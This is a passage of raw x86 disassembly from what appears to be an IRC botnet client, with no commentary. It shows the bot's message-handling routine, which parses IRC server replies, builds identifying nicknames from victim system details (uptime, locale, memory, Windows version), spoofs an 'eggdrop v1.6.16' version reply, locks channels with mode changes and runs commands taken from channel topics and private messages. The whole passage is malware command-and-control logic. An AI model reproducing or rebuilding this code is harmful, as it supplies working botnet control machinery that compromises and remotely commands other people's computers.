		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB

loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DD08
		push	3B7h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------

loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch

loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_40DB2D

loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8

loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------

loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h

loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"

loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"

loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1

loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------

loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DB78
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx

loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EF18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------

loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax

loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41EE18
		push	offset dword_41DB88
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------

loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------

loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx

loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41F018
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41F018
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EF18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4

loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------

loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0

loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0

loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------

loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------

loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------

loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EF18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158

loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------

loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0

loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------

loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------

loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1

loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------

loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------

loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax

loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8

loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1

loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------

loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------

loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------

loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EF18
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax

loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax

loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------

loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------

loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------

loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------

loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------

loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------

loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax

loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------

loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0

loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0

loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0

loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------

loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EF18
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EF18
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------

loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1

